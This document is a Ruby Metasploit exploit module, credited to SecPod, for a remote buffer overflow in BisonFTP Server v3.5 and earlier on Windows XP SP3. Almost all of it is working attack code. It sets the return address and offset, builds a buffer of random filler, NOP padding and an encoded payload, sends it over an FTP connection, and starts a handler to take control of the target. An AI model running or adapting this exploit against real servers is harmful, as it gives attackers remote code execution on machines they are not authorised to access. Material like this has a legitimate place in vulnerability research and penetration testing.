##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server <= v3.5
# Date     : 09/07/2011
#
###############################################################################

##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
   'Description'    => %q{
      This module exploits a buffer overflow vulnerability
      found in the BisonFTP Server <= v3.5.
   },
   'Author'         =>
    [
     'localh0t',  # Initial PoC
     'veerendragg @ SecPod', # Metasploit Module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1.0 $',
   'References'     =>
    [
     [ 'BID', '49109'],
     [ 'CVE', '1999-1510'],
     [ 'URL', 'http://secpod.org/blog/?p=384'],
     [ 'URL', 'http://www.exploit-db.com/exploits/17649'],
     [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space' => 388,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3 EN',
      {
       'Ret' => 0x0040333f, # call edx from Bisonftp.exe
       'Offset' => 1432
      }
     ],
    ],
   'DisclosureDate' => 'Aug 07 2011',
   'DefaultTarget' => 0))
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")
  print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
  sploit = rand_text_alpha(1028)     ## Random Buffer
  sploit << "\x90" * 16      ## Padding
  sploit << payload.encoded     ## Encoded Payload
  sploit << "\x90" * (388 - payload.encoded.length)  ## More Nops
  sploit << [target.ret].pack('V')    ## Return Address
  sploit << rand_text_alpha(39)     ## MOre Buffer

  print_status("Sending payload...")
  sock.put(sploit)

  handler
  disconnect
 end

end